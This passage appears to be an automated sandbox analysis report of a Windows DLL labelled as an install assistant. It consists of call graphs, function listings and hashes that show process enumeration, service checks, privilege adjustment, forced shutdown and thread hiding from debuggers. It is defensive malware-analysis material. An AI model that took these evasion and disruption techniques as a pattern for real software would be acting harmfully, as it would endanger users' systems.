100817->100799 100818 6ca84f83 100832 6ca84d2b HeapFree GetLastError __dosmaperr 100818->100832 100820 6ca84fbf 100820->100799 100822 6ca8a2e8 GetPEB 100821->100822 100823 6ca7f4df 100821->100823 100822->100823 100824 6ca8a2fb 100822->100824 100823->100789 100826 6ca872df 5 API calls std::_Lockit::_Lockit 100823->100826 100837 6ca87388 5 API calls std::_Lockit::_Lockit 100824->100837 100826->100789 100827->100792 100828->100795 100829->100798 100830->100803 100831->100818 100832->100817 100833->100812 100834->100818 100835->100820 100837->100823 100838 6ca8d043 100839 6ca8d06d 100838->100839 100840 6ca8d055 __dosmaperr 100838->100840 100839->100840 100842 6ca8d0e7 100839->100842 100843 6ca8d0b8 __dosmaperr 100839->100843 100844 6ca8d100 100842->100844 100845 6ca8d11b __dosmaperr 100842->100845 100848 6ca8d157 __wsopen_s 100842->100848 100880 6ca80690 18 API calls __fassign 100843->100880 100844->100845 100847 6ca8d105 100844->100847 100873 6ca80690 18 API calls __fassign 100845->100873 100846 6ca91f55 __wsopen_s 18 API calls 100849 6ca8d2ae 100846->100849 100847->100846 100874 6ca84d2b HeapFree GetLastError __dosmaperr 100848->100874 100853 6ca8d324 100849->100853 100856 6ca8d2c7 GetConsoleMode 100849->100856 100851 6ca8d177 100875 6ca84d2b HeapFree GetLastError __dosmaperr 100851->100875 100855 6ca8d328 ReadFile 100853->100855 100858 6ca8d39c GetLastError 100855->100858 100859 6ca8d342 100855->100859 100856->100853 100860 6ca8d2d8 100856->100860 100857 6ca8d17e 100871 6ca8d132 __dosmaperr __wsopen_s 100857->100871 100876 6ca8b1d9 20 API calls __wsopen_s 100857->100876 100858->100871 100859->100858 100861 6ca8d319 100859->100861 100860->100855 100862 6ca8d2de ReadConsoleW 100860->100862 100866 6ca8d37e 100861->100866 100867 6ca8d367 100861->100867 100861->100871 100862->100861 100865 6ca8d2fa GetLastError 100862->100865 100865->100871 100868 6ca8d395 100866->100868 100866->100871 100878 6ca8d46e 23 API calls 3 library calls 100867->100878 100879 6ca8d726 21 API calls __wsopen_s 100868->100879 100877 6ca84d2b HeapFree GetLastError __dosmaperr 100871->100877 100872 6ca8d39a 100872->100871 100873->100871 100874->100851 100875->100857 100876->100847 100877->100840 100878->100871 100879->100872 100880->100840 100881 6c8f4b53 100882 6ca76fb3 std::_Facet_Register 4 API calls 100881->100882 100883 6c8f4b5c _Yarn 100882->100883 100884 6ca6b430 2 API calls 100883->100884 100889 6c8f4bae std::ios_base::_Ios_base_dtor 100884->100889 100885 6c91639e 101072 6ca806a0 18 API calls 2 library calls 100885->101072 100887 6c8f4cff 100888 6c8f5164 CreateFileA CloseHandle 100893 6c8f51ec 100888->100893 100889->100885 100889->100887 100889->100888 100890 6c90245a _Yarn _strlen 100889->100890 100890->100885 100891 6ca6b430 2 API calls 100890->100891 100906 6c902a83 std::ios_base::_Ios_base_dtor 100891->100906 101039 6ca75690 OpenSCManagerA 100893->101039 100895 6c8ffc00 101065 6ca757b0 CreateToolhelp32Snapshot 100895->101065 100898 6ca76fb3 IsProcessorFeaturePresent RaiseException EnterCriticalSection LeaveCriticalSection std::_Facet_Register 100934 6c8f5478 std::ios_base::_Ios_base_dtor _Yarn _strlen 100898->100934 100900 6c9037d0 Sleep 100945 6c9037e0 std::ios_base::_Ios_base_dtor _Yarn _strlen 100900->100945 100901 6ca6b430 2 API calls 100901->100934 100902 6c9163b2 101073 6c8f15e0 18 API calls std::ios_base::_Ios_base_dtor 100902->101073 100903 6ca757b0 4 API calls 100922 6c90053a 100903->100922 100905 6ca757b0 4 API calls 100930 6c9012e2 100905->100930 100906->100885 101043 6ca60900 100906->101043 100907 6c9164f8 100908 6c8fffe3 100908->100903 100913 6c900abc 100908->100913 100909 6c916ba0 104 API calls 100909->100934 100910 6c916e60 32 API calls 100910->100934 100912 6ca757b0 4 API calls 100912->100913 100913->100890 100913->100905 100914 6c917090 77 API calls 100914->100934 100915 6c8f6722 101062 6ca71df0 25 API calls 4 library calls 100915->101062 100916 6c90211c 100916->100890 100918 6c90241a 100916->100918 100917 6ca757b0 4 API calls 100936 6c901dd9 100917->100936 100921 6ca60900 11 API calls 100918->100921 100919 6ca6b430 2 API calls 100919->100945 100920 6c93e010 67 API calls 100920->100934 100923 6c90244d 100921->100923 100922->100912 100922->100913 101071 6ca762d0 GetCurrentProcess OpenProcessToken LookupPrivilegeValueW AdjustTokenPrivileges NtInitiatePowerAction 100923->101071 100925 6c902452 Sleep 100925->100890 100926 6c9016ac 100927 6c8f6162 100928 6c8f740b 100929 6ca75560 4 API calls 100928->100929 100938 6c8f775a _strlen 100929->100938 100930->100916 100930->100917 100930->100926 100931 6ca757b0 4 API calls 100931->100916 100932 6c916ba0 104 API calls 100932->100945 100934->100885 100934->100895 100934->100898 100934->100901 100934->100909 100934->100910 100934->100914 100934->100915 100934->100920 100934->100927 100935 6c917090 77 API calls 100935->100945 100936->100916 100936->100931 100937 6c93e010 67 API calls 100937->100945 100938->100885 100939 6c8f7ba9 100938->100939 100940 6c8f7b92 100938->100940 100943 6c8f7b43 _Yarn 100938->100943 100942 6ca76fb3 std::_Facet_Register 4 API calls 100939->100942 100941 6ca76fb3 std::_Facet_Register 4 API calls 100940->100941 100941->100943 100942->100943 100944 6ca6b430 2 API calls 100943->100944 100954 6c8f7be7 std::ios_base::_Ios_base_dtor 100944->100954 100945->100885 100945->100919 100945->100932 100945->100935 100945->100937 101052 6c916e60 100945->101052 100946 6ca75560 4 API calls 100957 6c8f8a07 100946->100957 100947 6c8f9d7f 100951 6ca76fb3 std::_Facet_Register 4 API calls 100947->100951 100948 6c8f9d68 100950 6ca76fb3 std::_Facet_Register 4 API calls 100948->100950 100949 6c8f962c _strlen 100949->100885 100949->100947 100949->100948 100952 6c8f9d18 _Yarn 100949->100952 100950->100952 100951->100952 100953 6ca6b430 2 API calls 100952->100953 100961 6c8f9dbd std::ios_base::_Ios_base_dtor 100953->100961 100954->100885 100954->100946 100954->100949 100955 6c8f8387 100954->100955 100956 6ca75560 4 API calls 100965 6c8f9120 100956->100965 100957->100956 100958 6ca75560 4 API calls 100975 6c8fa215 _strlen 100958->100975 100959 6ca75560 4 API calls 100960 6c8f9624 100959->100960 101063 6ca762d0 GetCurrentProcess OpenProcessToken LookupPrivilegeValueW AdjustTokenPrivileges NtInitiatePowerAction 100960->101063 100961->100885 100961->100958 100966 6c8fe8b5 std::ios_base::_Ios_base_dtor _Yarn _strlen 100961->100966 100962 6ca76fb3 IsProcessorFeaturePresent RaiseException EnterCriticalSection LeaveCriticalSection std::_Facet_Register 100962->100966 100964 6ca6b430 2 API calls 100964->100966 100965->100959 100966->100885 100966->100962 100966->100964 100967 6c8fed02 Sleep 100966->100967 100968 6c8ff7b1 100966->100968 100987 6c8fe8c1 100967->100987 101064 6ca762d0 GetCurrentProcess OpenProcessToken LookupPrivilegeValueW AdjustTokenPrivileges NtInitiatePowerAction 100968->101064 100970 6c8fe8dd GetCurrentProcess TerminateProcess 100970->100966 100971 6c8fa9bb 100974 6ca76fb3 std::_Facet_Register 4 API calls 100971->100974 100972 6c8fa9a4 100973 6ca76fb3 std::_Facet_Register 4 API calls 100972->100973 100982 6c8fa953 _Yarn _strlen 100973->100982 100974->100982 100975->100885 100975->100971 100975->100972 100975->100982 100976 6ca75560 4 API calls 100976->100987 100977 6c8ffbb8 100978 6c8ffbe8 ExitWindowsEx Sleep 100977->100978 100978->100895 100979 6c8ff7c0 100979->100977 100980 6c8fb009 100984 6ca76fb3 std::_Facet_Register 4 API calls 100980->100984 100981 6c8faff0 100983 6ca76fb3 std::_Facet_Register 4 API calls 100981->100983 100982->100902 100982->100980 100982->100981 100985 6c8fafa0 _Yarn 100982->100985 100983->100985 100984->100985 100986 6ca75ed0 104 API calls 100985->100986 100988 6c8fb059 std::ios_base::_Ios_base_dtor _strlen 100986->100988 100987->100966 100987->100970 100987->100976 100988->100885 100989 6c8fb42c 100988->100989 100990 6c8fb443 100988->100990 100993 6c8fb3da _Yarn _strlen 100988->100993 100991 6ca76fb3 std::_Facet_Register 4 API calls 100989->100991 100992 6ca76fb3 std::_Facet_Register 4 API calls 100990->100992 100991->100993 100992->100993 100993->100902 100994 6c8fb79e 100993->100994 100995 6c8fb7b7 100993->100995 100998 6c8fb751 _Yarn 100993->100998 100996 6ca76fb3 std::_Facet_Register 4 API calls 100994->100996 100997 6ca76fb3 std::_Facet_Register 4 API calls 100995->100997 100996->100998 100997->100998 100999 6ca75ed0 104 API calls 100998->100999 101000 6c8fb804 std::ios_base::_Ios_base_dtor _strlen 100999->101000 101000->100885 101001 6c8fbc0f 101000->101001 101002 6c8fbc26 101000->101002 101005 6c8fbbbd _Yarn _strlen 101000->101005 101003 6ca76fb3 std::_Facet_Register 4 API calls 101001->101003 101004 6ca76fb3 std::_Facet_Register 4 API calls 101002->101004 101003->101005 101004->101005 101005->100902 101006 6c8fc08e 101005->101006 101007 6c8fc075 101005->101007 101010 6c8fc028 _Yarn 101005->101010 101009 6ca76fb3 std::_Facet_Register 4 API calls 101006->101009 101008 6ca76fb3 std::_Facet_Register 4 API calls 101007->101008 101008->101010 101009->101010 101011 6ca75ed0 104 API calls 101010->101011 101016 6c8fc0db std::ios_base::_Ios_base_dtor _strlen 101011->101016 101012 6c8fc7bc 101015 6ca76fb3 std::_Facet_Register 4 API calls 101012->101015 101013 6c8fc7a5 101014 6ca76fb3 std::_Facet_Register 4 API calls 101013->101014 101023 6c8fc753 _Yarn _strlen 101014->101023 101015->101023 101016->100885 101016->101012 101016->101013 101016->101023 101017 6c8fd3ed 101019 6ca76fb3 std::_Facet_Register 4 API calls 101017->101019 101018 6c8fd406 101020 6ca76fb3 std::_Facet_Register 4 API calls 101018->101020 101021 6c8fd39a _Yarn 101019->101021 101020->101021 101022 6ca75ed0 104 API calls 101021->101022 101024 6c8fd458 std::ios_base::_Ios_base_dtor _strlen 101022->101024 101023->100902 101023->101017 101023->101018 101023->101021 101029 6c8fcb2f 101023->101029 101024->100885 101025 6c8fd8bb 101024->101025 101026 6c8fd8a4 101024->101026 101030 6c8fd852 _Yarn _strlen 101024->101030 101028 6ca76fb3 std::_Facet_Register 4 API calls 101025->101028 101027 6ca76fb3 std::_Facet_Register 4 API calls 101026->101027 101027->101030 101028->101030 101030->100902 101031 6c8fdccf 101030->101031 101032 6c8fdcb6 101030->101032 101035 6c8fdc69 _Yarn 101030->101035 101034 6ca76fb3 std::_Facet_Register 4 API calls 101031->101034 101033 6ca76fb3 std::_Facet_Register 4 API calls 101032->101033 101033->101035 101034->101035 101036 6ca75ed0 104 API calls 101035->101036 101038 6c8fdd1c std::ios_base::_Ios_base_dtor 101036->101038 101037 6ca75560 4 API calls 101037->100966 101038->100885 101038->101037 101040 6ca756c6 101039->101040 101041 6ca75758 OpenServiceA 101040->101041 101042 6ca7579f 101040->101042 101041->101040 101042->100934 101045 6ca60913 _Yarn __wsopen_s std::locale::_Setgloballocale _strlen 101043->101045 101044 6ca644cf CloseHandle 101044->101045 101045->101044 101046 6ca6367e CloseHandle 101045->101046 101047 6c9037cb 101045->101047 101048 6ca4c750 WriteFile WriteFile WriteFile ReadFile 101045->101048 101049 6ca62a8b CloseHandle 101045->101049 101074 6ca4bca0 101045->101074 101046->101045 101051 6ca762d0 GetCurrentProcess OpenProcessToken LookupPrivilegeValueW AdjustTokenPrivileges NtInitiatePowerAction 101047->101051 101048->101045 101049->101045 101051->100900 101053 6c916e9f 101052->101053 101056 6c916eb3 101053->101056 101085 6c943560 32 API calls std::_Xinvalid_argument 101053->101085 101058 6c916f5b 101056->101058 101087 6c942250 30 API calls 101056->101087 101088 6c9426e0 24 API calls 4 library calls 101056->101088 101089 6ca798e9 RaiseException 101056->101089 101059 6c916f6e 101058->101059 101086 6c9437e0 32 API calls std::_Xinvalid_argument 101058->101086 101059->100945 101062->100928 101063->100949 101064->100979 101066 6ca75810 std::locale::_Setgloballocale 101065->101066 101067 6ca757e7 CloseHandle 101066->101067 101068 6ca75890 Process32NextW 101066->101068 101069 6ca75921 101066->101069 101070 6ca758b5 Process32FirstW 101066->101070 101067->101066 101068->101066 101069->100908 101070->101066 101071->100925 101073->100907 101075 6ca4bcb3 _Yarn __wsopen_s std::locale::_Setgloballocale 101074->101075 101076 6ca4c6f0 101075->101076 101077 6ca4c25d CreateFileA 101075->101077 101079 6ca4afa0 101075->101079 101076->101045 101077->101075 101082 6ca4afb3 __wsopen_s std::locale::_Setgloballocale 101079->101082 101080 6ca4b959 WriteFile 101080->101082 101081 6ca4b9ad WriteFile 101081->101082 101082->101080 101082->101081 101083 6ca4bc88 101082->101083 101084 6ca4b105 ReadFile 101082->101084 101083->101075 101084->101082 101085->101056 101086->101059 101087->101056 101088->101056 101089->101056 101090 6c8f3d62 101092 6c8f3bc0 101090->101092 101091 6c8f3e8a GetCurrentThread NtSetInformationThread 101093 6c8f3eea 101091->101093 101092->101091

                              Executed Functions

                              Function 6C8F4754 Relevance: 69.2, APIs: 28, Strings: 1, Instructions: 18471COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: _strlen
                              • String ID: HR^
                              • API String ID: 4218353326-1341859651
                              • Opcode ID: 7e3cae6d672a0909a64c4f2242e9412d60aec96a90891e4efcfb5242e3b3a14d
                              • Instruction ID: 6b4729f7e318674d3b3162afd460862dc44add9d840a7496fb2f5d36a36152eb
                              • Opcode Fuzzy Hash: 7e3cae6d672a0909a64c4f2242e9412d60aec96a90891e4efcfb5242e3b3a14d
                              • Instruction Fuzzy Hash: 0374F431644B028FC738CF28C9D0A95B7E2FF95318B198E6DC0A68BA55E774B54BCB50
                              Function 6C904A27 Relevance: 61.3, APIs: 25, Strings: 3, Instructions: 12265COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID:
                              • String ID: }jk$;T55$L@^
                              • API String ID: 0-4218709813
                              • Opcode ID: d5e630262ef1188bd5cc29bd267c24b6b50e07837134d1d8655bbd963d83cf1a
                              • Instruction ID: 45458ec4ef42e4d08b9297349b567111cfd9a44a3bb553f6b94fe008791adef0
                              • Opcode Fuzzy Hash: d5e630262ef1188bd5cc29bd267c24b6b50e07837134d1d8655bbd963d83cf1a
                              • Instruction Fuzzy Hash: 7434F671744B018FC728CF28C8D0A96B7E3EF95314B198A6DC0A68BB55EB74F54ACB50
                              Function 6CA757B0 Relevance: 6.1, APIs: 4, Instructions: 95processCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 7677 6ca757b0-6ca757e5 CreateToolhelp32Snapshot 7678 6ca75810-6ca75819 7677->7678 7679 6ca75850-6ca75855 7678->7679 7680 6ca7581b-6ca75820 7678->7680 7683 6ca758e7-6ca75911 call 6ca83175 7679->7683 7684 6ca7585b-6ca75860 7679->7684 7681 6ca75885-6ca7588a 7680->7681 7682 6ca75822-6ca75827 7680->7682 7690 6ca75916-6ca7591b 7681->7690 7691 6ca75890-6ca758a2 Process32NextW 7681->7691 7686 6ca758a4-6ca758cd call 6ca7be90 Process32FirstW 7682->7686 7687 6ca75829-6ca7582e 7682->7687 7683->7678 7688 6ca757e7-6ca75802 CloseHandle 7684->7688 7689 6ca75862-6ca75867 7684->7689 7696 6ca758d2-6ca758e2 7686->7696 7687->7678 7694 6ca75830-6ca75841 7687->7694 7688->7678 7689->7678 7695 6ca75869-6ca75883 7689->7695 7690->7678 7693 6ca75921-6ca7592f 7690->7693 7691->7696 7694->7678 7695->7678 7696->7678
                              APIs
                              • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 6CA757BE
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID: CreateSnapshotToolhelp32
                              • String ID:
                              • API String ID: 3332741929-0
                              • Opcode ID: 649c30695dd7a309396ff61555c847be1a33c1e5f5158799fb10b9b3f4fd6258
                              • Instruction ID: 925684434c81cc70c6326029df23a345efcee768d27fe14a30c2d6d87c91b40c
                              • Opcode Fuzzy Hash: 649c30695dd7a309396ff61555c847be1a33c1e5f5158799fb10b9b3f4fd6258
                              • Instruction Fuzzy Hash: 7B314D78608340DFD7209F29C888B0ABBF4BF95744F644D2EE498D7760D77198989FA2
                              Function 6C8F3886 Relevance: 3.6, APIs: 2, Instructions: 573COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 7821 6c8f3886-6c8f388e 7822 6c8f3894-6c8f3896 7821->7822 7823 6c8f3970-6c8f397d 7821->7823 7822->7823 7826 6c8f389c-6c8f38b9 7822->7826 7824 6c8f397f-6c8f3989 7823->7824 7825 6c8f39f1-6c8f39f8 7823->7825 7824->7826 7827 6c8f398f-6c8f3994 7824->7827 7828 6c8f39fe-6c8f3a03 7825->7828 7829 6c8f3ab5-6c8f3aba 7825->7829 7830 6c8f38c0-6c8f38c1 7826->7830 7832 6c8f399a-6c8f399f 7827->7832 7833 6c8f3b16-6c8f3b18 7827->7833 7834 6c8f3a09-6c8f3a2f 7828->7834 7835 6c8f38d2-6c8f38d4 7828->7835 7829->7826 7831 6c8f3ac0-6c8f3ac7 7829->7831 7836 6c8f395e 7830->7836 7831->7830 7838 6c8f3acd-6c8f3ad6 7831->7838 7839 6c8f383b-6c8f3855 call 6ca419e0 call 6ca419f0 7832->7839 7840 6c8f39a5-6c8f39bf 7832->7840 7833->7830 7841 6c8f38f8-6c8f3955 7834->7841 7842 6c8f3a35-6c8f3a3a 7834->7842 7843 6c8f3957-6c8f395c 7835->7843 7837 6c8f3960-6c8f3964 7836->7837 7845 6c8f396a 7837->7845 7846 6c8f3860-6c8f3885 7837->7846 7838->7833 7847 6c8f3ad8-6c8f3aeb 7838->7847 7839->7846 7848 6c8f3a5a-6c8f3a5d 7840->7848 7841->7843 7849 6c8f3b1d-6c8f3b22 7842->7849 7850 6c8f3a40-6c8f3a57 7842->7850 7843->7836 7852 6c8f3ba1-6c8f3bb6 7845->7852 7846->7821 7847->7841 7853 6c8f3af1-6c8f3af8 7847->7853 7857 6c8f3aa9-6c8f3ab0 7848->7857 7855 6c8f3b49-6c8f3b50 7849->7855 7856 6c8f3b24-6c8f3b44 7849->7856 7850->7848 7858 6c8f3bc0-6c8f3bda call 6ca419e0 call 6ca419f0 7852->7858 7860 6c8f3afa-6c8f3aff 7853->7860 7861 6c8f3b62-6c8f3b85 7853->7861 7855->7830 7864 6c8f3b56-6c8f3b5d 7855->7864 7856->7857 7857->7837 7872 6c8f3be0-6c8f3bfe 7858->7872 7860->7843 7861->7841 7868 6c8f3b8b 7861->7868 7864->7837 7868->7852 7875 6c8f3e7b 7872->7875 7876 6c8f3c04-6c8f3c11 7872->7876 7877 6c8f3e81-6c8f3ee0 call 6c8f3750 GetCurrentThread NtSetInformationThread 7875->7877 7878 6c8f3c17-6c8f3c20 7876->7878 7879 6c8f3ce0-6c8f3cea 7876->7879 7896 6c8f3eea-6c8f3f04 call 6ca419e0 call 6ca419f0 7877->7896 7881 6c8f3c26-6c8f3c2d 7878->7881 7882 6c8f3dc5 7878->7882 7883 6c8f3cec-6c8f3d0c 7879->7883 7884 6c8f3d3a-6c8f3d3c 7879->7884 7890 6c8f3dc3 7881->7890 7891 6c8f3c33-6c8f3c3a 7881->7891 7888 6c8f3dc6 7882->7888 7885 6c8f3d90-6c8f3d95 7883->7885 7886 6c8f3d3e-6c8f3d45 7884->7886 7887 6c8f3d70-6c8f3d8d 7884->7887 7893 6c8f3dba-6c8f3dc1 7885->7893 7894 6c8f3d97-6c8f3db8 7885->7894 7892 6c8f3d50-6c8f3d57 7886->7892 7887->7885 7895 6c8f3dc8-6c8f3dcc 7888->7895 7890->7882 7897 6c8f3e26-6c8f3e2b 7891->7897 7898 6c8f3c40-6c8f3c5b 7891->7898 7892->7888 7893->7890 7899 6c8f3dd7-6c8f3ddc 7893->7899 7894->7882 7895->7872 7900 6c8f3dd2 7895->7900 7915 6c8f3f75-6c8f3fa1 7896->7915 7902 6c8f3c7b-6c8f3cd0 7897->7902 7903 6c8f3e31 7897->7903 7904 6c8f3e1b-6c8f3e24 7898->7904 7906 6c8f3dde-6c8f3e17 7899->7906 7907 6c8f3e36-6c8f3e3d 7899->7907 7905 6c8f3e76-6c8f3e79 7900->7905 7902->7892 7903->7858 7904->7895 7904->7905 7905->7877 7906->7904 7910 6c8f3e3f-6c8f3e5a 7907->7910 7911 6c8f3e5c-6c8f3e5f 7907->7911 7910->7904 7911->7902 7914 6c8f3e65-6c8f3e69 7911->7914 7914->7895 7914->7905 7919 6c8f3fa3-6c8f3fa8 7915->7919 7920 6c8f4020-6c8f4026 7915->7920 7921 6c8f3fae-6c8f3fcf 7919->7921 7922 6c8f407c-6c8f4081 7919->7922 7923 6c8f402c-6c8f403c 7920->7923 7924 6c8f3f06-6c8f3f35 7920->7924 7926 6c8f40aa-6c8f40ae 7921->7926 7922->7926 7929 6c8f4083-6c8f408a 7922->7929 7927 6c8f403e-6c8f4058 7923->7927 7928 6c8f40b3-6c8f40b8 7923->7928 7925 6c8f3f38-6c8f3f61 7924->7925 7931 6c8f3f64-6c8f3f67 7925->7931 7932 6c8f3f6b-6c8f3f6f 7926->7932 7933 6c8f405a-6c8f4063 7927->7933 7928->7921 7930 6c8f40be-6c8f40c9 7928->7930 7929->7925 7934 6c8f4090 7929->7934 7930->7926 7935 6c8f40cb-6c8f40d4 7930->7935 7936 6c8f3f69 7931->7936 7932->7915 7937 6c8f4069-6c8f406c 7933->7937 7938 6c8f40f5-6c8f413f 7933->7938 7934->7896 7939 6c8f40a7 7934->7939 7935->7939 7940 6c8f40d6-6c8f40f0 7935->7940 7936->7932 7942 6c8f4144-6c8f414b 7937->7942 7943 6c8f4072-6c8f4077 7937->7943 7938->7936 7939->7926 7940->7933 7942->7932 7943->7931
                              Memory Dump Source
                              • Source File: 00000006.00000002.1600100840.000000006C8F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8F0000, based on PE: true
                              • Associated: 00000006.00000002.1600081569.000000006C8F0000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601284023.000000006CA98000.00000002.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601886883.000000006CB73000.00000004.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1601921197.000000006CB79000.00000020.00000001.01000000.00000009.sdmpDownload File
                              • Associated: 00000006.00000002.1602561280.000000006CC63000.00000002.00000001.01000000.00000009.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_6c8f0000_#U5b89#U88c5#U52a9#U624b2.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 0a4059dcb54723b58d106db46ee6a56549b2804b6a3ca359b5d5757528effb48
                              • Instruction ID: 7adf8e8596aac8861f1db0417ee99449545aebc6db3f393265cdcda717afcaed
                              • Opcode Fuzzy Hash: 0a4059dcb54723b58d106db46ee6a56549b2804b6a3ca359b5d5757528effb48
                              • Instruction Fuzzy Hash: 5832E132245B018FC334CF28C990695B7E3EFC1354B6A8E6DC0BA4BA95D774B84B8B51
                              Function 6C8F3A6A Relevance: 3.1, APIs: 2, Instructions: 148threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 7969 6c8f3a6a-6c8f3a85 7970 6c8f3a87-6c8f3aa7 7969->7970 7971 6c8f3aa9-6c8f3ab0 7970->7971 7972 6c8f3960-6c8f3964 7971->7972 7973 6c8f396a 7972->7973 7974 6c8f3860-6c8f388e 7972->7974 7975 6c8f3ba1-6c8f3bb6 7973->7975 7984 6c8f3894-6c8f3896 7974->7984 7985 6c8f3970-6c8f397d 7974->7985 7977 6c8f3bc0-6c8f3bda call 6ca419e0 call 6ca419f0 7975->7977 7990 6c8f3be0-6c8f3bfe 7977->7990 7984->7985 7989 6c8f389c-6c8f38b9 7984->7989 7987 6c8f397f-6c8f3989 7985->7987 7988 6c8f39f1-6c8f39f8 7985->7988 7987->7989 7991 6c8f398f-6c8f3994 7987->7991 7992 6c8f39fe-6c8f3a03 7988->7992 7993 6c8f3ab5-6c8f3aba 7988->7993 7994 6c8f38c0-6c8f38c1 7989->7994 8011 6c8f3e7b 7990->8011 8012 6c8f3c04-6c8f3c11 7990->8012 7997 6c8f399a-6c8f399f 7991->7997 7998 6c8f3b16-6c8f3b18 7991->7998 7999 6c8f3a09-6c8f3a2f 7992->7999 8000 6c8f38d2-6c8f38d4 7992->8000 7993->7989 7995 6c8f3ac0-6c8f3ac7 7993->7995 8001 6c8f395e 7994->8001 7995->7994 8002 6c8f3acd-6c8f3ad6 7995->8002 8004 6c8f383b-6c8f3855 call 6ca419e0 call 6ca419f0 7997->8004 8005 6c8f39a5-6c8f39bf 7997->8005 7998->7994 8006 6c8f38f8-6c8f3955 7999->8006 8007 6c8f3a35-6c8f3a3a 7999->8007 8008 6c8f3957-6c8f395c 8000->8008 8001->7972 8002->7998 8010 6c8f3ad8-6c8f3aeb 8002->8010 8004->7974 8013 6c8f3a5a-6c8f3a5d 8005->8013 8006->8008 8014 6c8f3b1d-6c8f3b22 8007->8014 8015 6c8f3a40-6c8f3a57 8007->8015 8008->8001 8010->8006 8018 6c8f3af1-6c8f3af8 8010->8018 8017 6c8f3e81-6c8f3ee0 call 6c8f3750 GetCurrentThread NtSetInformationThread 8011->8017 8019 6c8f3c17-6c8f3c20 8012->8019 8020 6c8f3ce0-6c8f3cea 8012->8020 8013->7971 8021 6c8f3b49-6c8f3b50 8014->8021 8022 6c8f3b24-6c8f3b44 8014->8022 8015->8013 8045 6c8f3eea-6c8f3f04 call 6ca419e0 call 6ca419f0 8017->8045 8024 6c8f3afa-6c8f3aff 8018->8024 8025 6c8f3b62-6c8f3b85 8018->8025 8027 6c8f3c26-6c8f3c2d 8019->8027 8028 6c8f3dc5 8019->8028 8030 6c8f3cec-6c8f3d0c 8020->8030 8031 6c8f3d3a-6c8f3d3c 8020->8031 8021->7994 8029 6c8f3b56-6c8f3b5d 8021->8029 8022->7970 8024->8008 8025->8006 8040 6c8f3b8b 8025->8040 8038 6c8f3dc3 8027->8038 8039 6c8f3c33-6c8f3c3a 8027->8039 8035 6c8f3dc6 8028->8035 8029->7972 8032 6c8f3d90-6c8f3d95 8030->8032 8033 6c8f3d3e-6c8f3d45 8031->8033 8034 6c8f3d70-6c8f3d8d 8031->8034 8042 6c8f3dba-6c8f3dc1 8032->8042 8043 6c8f3d97-6c8f3db8 8032->8043 8041 6c8f3d50-6c8f3d57 8033->8041 8034->8032 8044 6c8f3dc8-6c8f3dcc 8035->8044 8038->8028 8046 6c8f3e26-6c8f3e2b 8039->8046 8047 6c8f3c40-6c8f3c5b 8039->8047 8040->7975 8041->8035 8042->8038 8048 6c8f3dd7-6c8f3ddc 8042->8048 